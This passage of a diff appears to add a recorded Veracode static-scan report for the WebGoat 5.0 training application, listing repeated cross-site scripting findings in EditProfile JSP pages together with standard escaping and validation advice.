+        line=\"98\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"54\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"73\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getPersonalDescription().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparametervalues,
+        javax.servlet.servletrequest.getparameter, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"98\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/RoleBasedAccessControl/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.RoleBasedAccessControl.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"54\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"131\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getDisciplinaryActionDate().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparametervalues,
+        javax.servlet.servletrequest.getparameter, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"102\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/RoleBasedAccessControl/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.RoleBasedAccessControl.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"57\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"157\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getDisciplinaryActionNotes().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        java.sql.statement.executequery, java.sql.preparedstatement.executequery,
+        and javax.servlet.servletrequest.getparametervalues. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"106\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/RoleBasedAccessControl/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.RoleBasedAccessControl.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"61\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"162\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable stub.getLastName().
+        The tainted data originated from an earlier call to java.sql.statement.executequery.
+        The tainted data is directed into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"0\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"113\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"69\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"-1\">\n<note>The source of the tainted data in this web
+        application flaw is not a web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"167\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable stub.getLastName().
+        The tainted data originated from an earlier call to java.sql.statement.executequery.
+        The tainted data is directed into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"0\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"113\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/SQLInjection/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.SQLInjection.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"69\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"-1\">\n<note>The source of the tainted data in this web
+        application flaw is not a web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"2\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getDisciplinaryActionNotes().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        java.sql.statement.executequery, java.sql.preparedstatement.executequery,
+        and javax.servlet.servletrequest.getparametervalues. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"119\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/SQLInjection/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.SQLInjection.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"74\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"266\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getDisciplinaryActionNotes().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        java.sql.statement.executequery, java.sql.preparedstatement.executequery,
+        and javax.servlet.servletrequest.getparametervalues. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"119\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"74\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"233\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable stub.getLastName().
+        The tainted data originated from an earlier call to java.sql.statement.executequery.
+        The tainted data is directed into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"0\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"121\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/RoleBasedAccessControl/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.RoleBasedAccessControl.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"75\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"-1\">\n<note>The source of the tainted data in this web
+        application flaw is not a web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"220\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getDisciplinaryActionDate().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparametervalues,
+        javax.servlet.servletrequest.getparameter, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"123\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/SQLInjection/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.SQLInjection.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"77\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"188\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getDisciplinaryActionDate().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparametervalues,
+        javax.servlet.servletrequest.getparameter, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"123\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"77\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"15\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getTitle().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparametervalues,
+        javax.servlet.servletrequest.getparameter, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
